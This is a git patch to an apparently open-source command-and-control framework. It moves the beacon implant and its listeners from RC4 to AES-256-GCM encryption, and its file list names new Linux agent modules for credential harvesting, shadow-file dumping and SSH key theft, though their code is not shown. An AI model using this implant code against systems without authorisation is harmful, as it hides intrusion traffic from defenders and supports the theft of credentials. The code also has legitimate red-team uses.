From b952fb4642a4a257253be38990c9b50c2214421b Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:45:59 +0200 Subject: [PATCH 01/11] feat: upgrade encryption from RC4 to AES-256-GCM MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace weak RC4 stream cipher with AES-256-GCM authenticated encryption across the entire beacon/listener stack: - Beacon C++: new Crypt.cpp with AES-256-GCM (encrypt returns [IV][CT][Tag], decrypt with authentication) + AES-256-CTR stream for DNS label data - All connectors updated (HTTP, SMB, TCP, DNS) - Agent/AgentConfig: 32-byte session keys, AES-GCM encrypted beats - Go plugins: AES256GCMEncrypt/Decrypt replacing RC4Crypt - All 4 listeners updated (HTTP, TCP, SMB, DNS) - DNS listener: AES-CTR stream for control data, AES-GCM for session data - Key size: 16 bytes (128-bit RC4) → 32 bytes (256-bit AES) - UI configs: encrypt_key field updated to 64 hex chars --- .../extenders/beacon_agent/pl_main.go | 6 +- .../extenders/beacon_agent/pl_utils.go | 46 +- .../beacon_agent/src_beacon/beacon/Agent.cpp | 31 +- .../src_beacon/beacon/AgentConfig.cpp | 7 +- .../src_beacon/beacon/ConnectorDNS.cpp | 40 +- .../src_beacon/beacon/ConnectorHTTP.cpp | 12 +- .../src_beacon/beacon/ConnectorSMB.cpp | 13 +- .../src_beacon/beacon/ConnectorTCP.cpp | 10 +- .../beacon_agent/src_beacon/beacon/Crypt.cpp | 341 ++- .../beacon_agent/src_beacon/beacon/Crypt.h | 24 +- .../beacon_listener_dns/ax_config.axs | 4 +- .../beacon_listener_dns/pl_transport.go | 49 +- .../beacon_listener_http/ax_config.axs | 4 +- .../beacon_listener_http/pl_transport.go | 30 +- .../beacon_listener_smb/ax_config.axs | 4 +- .../extenders/beacon_listener_smb/pl_main.go | 21 +- .../beacon_listener_smb/pl_transport.go | 6 +- .../beacon_listener_tcp/ax_config.axs | 4 +- .../extenders/beacon_listener_tcp/pl_main.go | 21 +- .../beacon_listener_tcp/pl_transport.go | 6 +- AdaptixServer/extenders/linux_agent/Makefile | 16 + .../extenders/linux_agent/ax_config.axs | 278 +++ .../extenders/linux_agent/config.yaml | 10 + AdaptixServer/extenders/linux_agent/go.mod | 14 + AdaptixServer/extenders/linux_agent/go.sum | 16 + .../extenders/linux_agent/pl_encoder_linux.go | 472 ++++ .../extenders/linux_agent/pl_hashes_linux.go | 288 +++ .../extenders/linux_agent/pl_main.go | 2157 +++++++++++++++++ .../extenders/linux_agent/pl_utils.go | 515 ++++ .../linux_agent/src_agent/agent/agent_info.c | 237 ++ .../linux_agent/src_agent/agent/agent_info.h | 25 + .../src_agent/agent/ax_vsnprintf.c | 262 ++ .../linux_agent/src_agent/agent/bof_api.c | 611 +++++ .../linux_agent/src_agent/agent/bof_api.h | 115 + .../linux_agent/src_agent/agent/commander.c | 130 + .../linux_agent/src_agent/agent/commander.h | 27 + .../linux_agent/src_agent/agent/connector.c | 269 ++ .../linux_agent/src_agent/agent/connector.h | 53 + .../linux_agent/src_agent/agent/crt.c | 293 +++ .../linux_agent/src_agent/agent/crt.h | 41 + .../linux_agent/src_agent/agent/crypt.c | 348 +++ .../linux_agent/src_agent/agent/crypt.h | 55 + .../linux_agent/src_agent/agent/elf_bof.c | 1060 ++++++++ .../linux_agent/src_agent/agent/elf_bof.h | 169 ++ .../linux_agent/src_agent/agent/elf_resolve.c | 500 ++++ .../linux_agent/src_agent/agent/elf_resolve.h | 213 ++ .../linux_agent/src_agent/agent/jobs.c | 297 +++ .../linux_agent/src_agent/agent/jobs.h | 164 ++ .../linux_agent/src_agent/agent/main.c | 600 +++++ .../linux_agent/src_agent/agent/msgpack.c | 512 ++++ .../linux_agent/src_agent/agent/msgpack.h | 54 + .../linux_agent/src_agent/agent/opsec.c | 883 +++++++ .../linux_agent/src_agent/agent/opsec.h | 36 + .../linux_agent/src_agent/agent/pivot.c | 393 +++ .../linux_agent/src_agent/agent/pivot.h | 60 + .../linux_agent/src_agent/agent/proxyfire.c | 536 ++++ .../linux_agent/src_agent/agent/proxyfire.h | 50 + .../src_agent/agent/syscalls_aarch64.h | 438 ++++ .../src_agent/agent/syscalls_x64.h | 407 ++++ .../linux_agent/src_agent/agent/tasks_async.c | 772 ++++++ .../linux_agent/src_agent/agent/tasks_async.h | 16 + .../linux_agent/src_agent/agent/tasks_fs.c | 729 ++++++ .../linux_agent/src_agent/agent/tasks_fs.h | 20 + .../linux_agent/src_agent/agent/tasks_linux.c | 1329 ++++++++++ .../linux_agent/src_agent/agent/tasks_linux.h | 18 + .../linux_agent/src_agent/agent/tasks_net.c | 666 +++++ .../linux_agent/src_agent/agent/tasks_net.h | 20 + .../linux_agent/src_agent/agent/tasks_opsec.c | 243 ++ .../linux_agent/src_agent/agent/tasks_opsec.h | 24 + .../linux_agent/src_agent/agent/tasks_pivot.c | 126 + .../linux_agent/src_agent/agent/tasks_pivot.h | 18 + .../linux_agent/src_agent/agent/tasks_proc.c | 502 ++++ .../linux_agent/src_agent/agent/tasks_proc.h | 15 + .../linux_agent/src_agent/agent/types.h | 109 + .../src_agent/bofs/container_detect.c | 253 ++ .../linux_agent/src_agent/bofs/cred_harvest.c | 263 ++ .../linux_agent/src_agent/bofs/host_recon.c | 309 +++ .../src_agent/bofs/kernel_exploit_check.c | 251 ++ .../src_agent/bofs/ld_preload_check.c | 257 ++ .../linux_agent/src_agent/bofs/net_enum.c | 238 ++ .../linux_agent/src_agent/bofs/proc_enum.c | 164 ++ .../linux_agent/src_agent/bofs/service_enum.c | 301 +++ .../linux_agent/src_agent/bofs/shadow_dump.c | 98 + .../linux_agent/src_agent/bofs/ssh_keys.c | 214 ++ .../linux_agent/src_agent/bofs/sudo_check.c | 264 ++ .../linux_agent/src_agent/bofs/suid_scan.c | 240 ++ .../extenders/linux_listener_tcp/Makefile | 9 + .../linux_listener_tcp/ax_config.axs | 45 + .../extenders/linux_listener_tcp/config.yaml | 7 + .../extenders/linux_listener_tcp/go.mod | 10 + .../extenders/linux_listener_tcp/go.sum | 14 + .../extenders/linux_listener_tcp/pl_main.go | 198 ++ .../linux_listener_tcp/pl_transport.go | 44 + 93 files changed, 20929 insertions(+), 140 deletions(-) create mode 100644 AdaptixServer/extenders/linux_agent/Makefile create mode 100644 AdaptixServer/extenders/linux_agent/ax_config.axs create mode 100644 AdaptixServer/extenders/linux_agent/config.yaml create mode 100644 AdaptixServer/extenders/linux_agent/go.mod create mode 100644 AdaptixServer/extenders/linux_agent/go.sum create mode 100644 AdaptixServer/extenders/linux_agent/pl_encoder_linux.go create mode 100644 AdaptixServer/extenders/linux_agent/pl_hashes_linux.go create mode 100644 AdaptixServer/extenders/linux_agent/pl_main.go create mode 100644 AdaptixServer/extenders/linux_agent/pl_utils.go create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/main.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/types.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c create mode 100644 AdaptixServer/extenders/linux_listener_tcp/Makefile create mode 100644 AdaptixServer/extenders/linux_listener_tcp/ax_config.axs create mode 100644 AdaptixServer/extenders/linux_listener_tcp/config.yaml create mode 100644 AdaptixServer/extenders/linux_listener_tcp/go.mod create mode 100644 AdaptixServer/extenders/linux_listener_tcp/go.sum create mode 100644 AdaptixServer/extenders/linux_listener_tcp/pl_main.go create mode 100644 AdaptixServer/extenders/linux_listener_tcp/pl_transport.go diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index 87ae4e3c0..a03d096eb 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -504,7 +504,7 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, return nil, err } - cryptParams, err := RC4Crypt(packedParams, encryptKey) + cryptParams, err := AES256GCMEncrypt(packedParams, encryptKey) if err != nil { return nil, err } @@ -805,13 +805,13 @@ func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.Exten func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { /// START CODE - return RC4Crypt(data, key) + return AES256GCMEncrypt(data, key) /// END CODE } func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { /// START CODE - return RC4Crypt(data, key) + return AES256GCMDecrypt(data, key) /// END CODE } diff --git a/AdaptixServer/extenders/beacon_agent/pl_utils.go b/AdaptixServer/extenders/beacon_agent/pl_utils.go index b0243a690..10ad65081 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_utils.go +++ b/AdaptixServer/extenders/beacon_agent/pl_utils.go @@ -3,7 +3,9 @@ package main import ( "bytes" "compress/zlib" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" + crypto_rand "crypto/rand" "errors" "fmt" "io" @@ -204,14 +206,42 @@ func SizeBytesToFormat(bytes int64) string { return fmt.Sprintf("%.2f Kb", size/KB) } -func RC4Crypt(data []byte, key []byte) ([]byte, error) { - rc4crypt, errcrypt := rc4.NewCipher(key) - if errcrypt != nil { - return nil, errors.New("rc4 crypt error") +func AES256GCMEncrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, fmt.Errorf("aes cipher error: %v", err) } - decryptData := make([]byte, len(data)) - rc4crypt.XORKeyStream(decryptData, data) - return decryptData, nil + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, fmt.Errorf("gcm error: %v", err) + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(crypto_rand.Reader, nonce); err != nil { + return nil, fmt.Errorf("nonce generation error: %v", err) + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + return ciphertext, nil +} + +func AES256GCMDecrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, fmt.Errorf("aes cipher error: %v", err) + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, fmt.Errorf("gcm error: %v", err) + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return nil, errors.New("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, fmt.Errorf("gcm decrypt error: %v", err) + } + return plaintext, nil } func parseDurationToSeconds(input string) (int, error) { diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp index 794093fae..96ec31cf0 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp @@ -26,8 +26,8 @@ Agent::Agent() proxyfire = new Proxyfire(); pivotter = new Pivotter(); - SessionKey = (PBYTE) MemAllocLocal(16); - for (int i = 0; i < 16; i++) + SessionKey = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE); + for (int i = 0; i < AES_GCM_KEY_SIZE; i++) SessionKey[i] = GenerateRandom32() % 0x100; } @@ -100,13 +100,14 @@ BYTE* Agent::BuildBeat(ULONG* size) packer->Pack8(this->info->minor_version); packer->Pack32(this->info->internal_ip); packer->Pack8( flag ); - packer->PackBytes(this->SessionKey, 16); + packer->PackBytes(this->SessionKey, AES_GCM_KEY_SIZE); packer->PackStringA(this->info->domain_name); packer->PackStringA(this->info->computer_name); packer->PackStringA(this->info->username); packer->PackStringA(this->info->process_name); - EncryptRC4(packer->data(), packer->datasize(), this->config->encrypt_key, 16); + int beatEncLen; + unsigned char* beatEnc = EncryptAES256GCM(packer->data(), packer->datasize(), this->config->encrypt_key, &beatEncLen); MemFreeLocal((LPVOID*)&this->info->domain_name, StrLenA(this->info->domain_name)); MemFreeLocal((LPVOID*)&this->info->computer_name, StrLenA(this->info->computer_name)); @@ -115,30 +116,28 @@ BYTE* Agent::BuildBeat(ULONG* size) #if defined(BEACON_HTTP) || defined(BEACON_DNS) - ULONG beat_size = packer->datasize(); - PBYTE beat = packer->data(); + ULONG beat_size = beatEncLen; + PBYTE beat = beatEnc; -#elif defined(BEACON_SMB) +#elif defined(BEACON_SMB) - ULONG beat_size = packer->datasize() + 4; + ULONG beat_size = beatEncLen + 4; PBYTE beat = (PBYTE)MemAllocLocal(beat_size); memcpy(beat, &(this->config->listener_type), 4); - memcpy(beat+4, packer->data(), packer->datasize()); + memcpy(beat+4, beatEnc, beatEncLen); - PBYTE pdata = packer->data(); - MemFreeLocal((LPVOID*)&pdata, packer->datasize()); + MemFreeLocal((LPVOID*)&beatEnc, beatEncLen); -#elif defined(BEACON_TCP) +#elif defined(BEACON_TCP) - ULONG beat_size = packer->datasize() + 4; + ULONG beat_size = beatEncLen + 4; PBYTE beat = (PBYTE)MemAllocLocal(beat_size); memcpy(beat, &(this->config->listener_type), 4); - memcpy(beat + 4, packer->data(), packer->datasize()); + memcpy(beat + 4, beatEnc, beatEncLen); - PBYTE pdata = packer->data(); - MemFreeLocal((LPVOID*)&pdata, packer->datasize()); + MemFreeLocal((LPVOID*)&beatEnc, beatEncLen); #endif diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp index 90ef0c054..415ffeb86 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp @@ -25,10 +25,11 @@ AgentConfig::AgentConfig() Packer* packer = new Packer((BYTE*)ProfileBytes, size); ULONG profileSize = packer->Unpack32(); - this->encrypt_key = (PBYTE) MemAllocLocal(16); - memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16); + this->encrypt_key = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE); + memcpy(this->encrypt_key, packer->data() + 4 + profileSize, AES_GCM_KEY_SIZE); - DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16); + int plainLen; + DecryptAES256GCM(packer->data()+4, profileSize, this->encrypt_key, &plainLen); this->agent_type = packer->Unpack32(); this->kill_date = packer->Unpack32(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp index 0ef4e8d86..dfbacfe4f 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp @@ -809,15 +809,17 @@ BOOL ConnectorDNS::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) if (!beat || !beatSize || beatSize < 8) return FALSE; - // Extract agent ID from beat + // Extract agent ID from beat (beat is AES-GCM encrypted: [IV(12)][CT][Tag(16)]) + // Decrypt a copy to read the plaintext agent_id at offset 4 BYTE* beatCopy = (BYTE*)MemAllocLocal(beatSize); if (!beatCopy) return FALSE; memcpy(beatCopy, beat, beatSize); - EncryptRC4(beatCopy, beatSize, this->encryptKey, 16); + int plainLen; + DecryptAES256GCM(beatCopy, beatSize, this->encryptKey, &plainLen); - ULONG agentId = (beatSize >= 8) ? ReadBE32(beatCopy + 4) : 0; + ULONG agentId = (plainLen >= 8) ? ReadBE32(beatCopy + 4) : 0; MemFreeLocal((LPVOID*)&beatCopy, beatSize); ApiWin->snprintf(this->sid, sizeof(this->sid), "%08x", agentId); @@ -951,14 +953,17 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) sessionBuf[3] = (BYTE)((plainSize >> 16) & 0xFF); sessionBuf[4] = (BYTE)((plainSize >> 24) & 0xFF); memcpy(sessionBuf + 5, payload, payloadLen); - EncryptRC4(sessionBuf, (int)sessionLen, sessionKey, 16); - sendBuf = sessionBuf; - sendLen = sessionLen; + int encLen; + unsigned char* encData = EncryptAES256GCM(sessionBuf, (int)sessionLen, sessionKey, &encLen); + MemFreeLocal((LPVOID*)&sessionBuf, sessionLen); + sendBuf = encData; + sendLen = encLen; } else { - EncryptRC4(plainData, (int)plainSize, sessionKey, 16); - sendBuf = plainData; - sendLen = plainSize; + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, (int)plainSize, sessionKey, &encLen); + sendBuf = encData; + sendLen = encLen; } this->SendData(sendBuf, sendLen); @@ -974,8 +979,7 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) } } - if (sessionBuf) - MemFreeLocal((LPVOID*)&sessionBuf, sessionLen); + MemFreeLocal((LPVOID*)&sendBuf, sendLen); if ((flags & 0x1) && payload && payload != plainData) MemFreeLocal((LPVOID*)&payload, payloadLen); @@ -986,7 +990,9 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) // Decrypt received data with session key if (this->recvSize > 0 && this->recvData) { - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; } } @@ -1118,7 +1124,7 @@ void ConnectorDNS::SendHeartbeat() ULONG hbNonce = this->functions->GetTickCount() ^ (this->seq * 7919); BYTE hbData[kAckDataSize]; BuildAckData(hbData, this->downAckOffset, hbNonce, this->downTaskNonce); - EncryptRC4(hbData, kAckDataSize, this->encryptKey, 16); + CryptAES256Stream(hbData, kAckDataSize, this->encryptKey); CHAR hbLabel[32] = { 0 }; DnsCodec::Base32Encode(hbData, kAckDataSize, hbLabel, sizeof(hbLabel)); @@ -1172,7 +1178,7 @@ void ConnectorDNS::SendAck() ULONG ackNonce = this->functions->GetTickCount() ^ (this->seq * 7919) ^ 0xACEACE; BYTE ackData[kAckDataSize]; BuildAckData(ackData, this->downAckOffset, ackNonce, this->downTaskNonce); - EncryptRC4(ackData, kAckDataSize, this->encryptKey, 16); + CryptAES256Stream(ackData, kAckDataSize, this->encryptKey); CHAR ackLabel[32] = { 0 }; DnsCodec::Base32Encode(ackData, kAckDataSize, ackLabel, sizeof(ackLabel)); @@ -1334,7 +1340,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) WriteBE32(frame + kMetaSize + 4, sendOffset); memcpy(frame + kHeaderSize, data + sendOffset, chunk); - EncryptRC4(frame, frameSize, this->encryptKey, 16); + CryptAES256Stream(frame, frameSize, this->encryptKey); memset(dataLabel, 0, sizeof(dataLabel)); if (!DnsCodec::BuildDataLabels(frame, frameSize, this->labelSize, dataLabel, sizeof(dataLabel))) { @@ -1489,7 +1495,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) BYTE reqData[kReqDataSize]; WriteBE32(reqData, reqOffset); WriteBE32(reqData + 4, nonce); - EncryptRC4(reqData, kReqDataSize, this->encryptKey, 16); + CryptAES256Stream(reqData, kReqDataSize, this->encryptKey); CHAR reqLabel[24]; memset(reqLabel, 0, sizeof(reqLabel)); @@ -1520,7 +1526,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) return; } - DecryptRC4(binBuf, binLen, this->encryptKey, 16); + CryptAES256Stream(binBuf, binLen, this->encryptKey); const ULONG headerSize = 8; if (binLen > (int)headerSize) { diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp index 1780230e2..7ed870682 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp @@ -439,8 +439,10 @@ void ConnectorHTTP::RecvClear() void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); @@ -449,8 +451,10 @@ void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) if (this->recvSize > 0 && this->recvData) { int dataSize = this->RecvSize(); BYTE* dataPtr = this->RecvData(); - if (dataSize > 0 && dataPtr) - DecryptRC4(dataPtr, dataSize, sessionKey, 16); + if (dataSize > 0 && dataPtr) { + int plainLen; + DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen); + } } } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp index c4b0c46e2..fc9cba5b4 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp @@ -193,8 +193,10 @@ void ConnectorSMB::Disconnect() void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); } @@ -210,8 +212,11 @@ void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) return; } - if (this->recvSize > 0 && this->recvData) - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + if (this->recvSize > 0 && this->recvData) { + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; + } } void ConnectorSMB::DisconnectInternal() diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp index 7d860cadb..4db804eb0 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp @@ -274,8 +274,10 @@ void ConnectorTCP::Disconnect() void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); @@ -287,7 +289,9 @@ void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) } if (this->recvSize > 0 && this->recvData) { - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; } } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp index 9cc8eb395..13479ba20 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp @@ -1,43 +1,330 @@ #include "Crypt.h" +#include "utils.h" -void RC4Init(unsigned char* key, unsigned char* S, int keyLength) { - int i, j = 0; - unsigned char temp; +static const unsigned char g_sbox[256] = { + 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, + 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, + 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, + 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, + 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, + 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, + 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, + 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, + 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, + 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, + 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, + 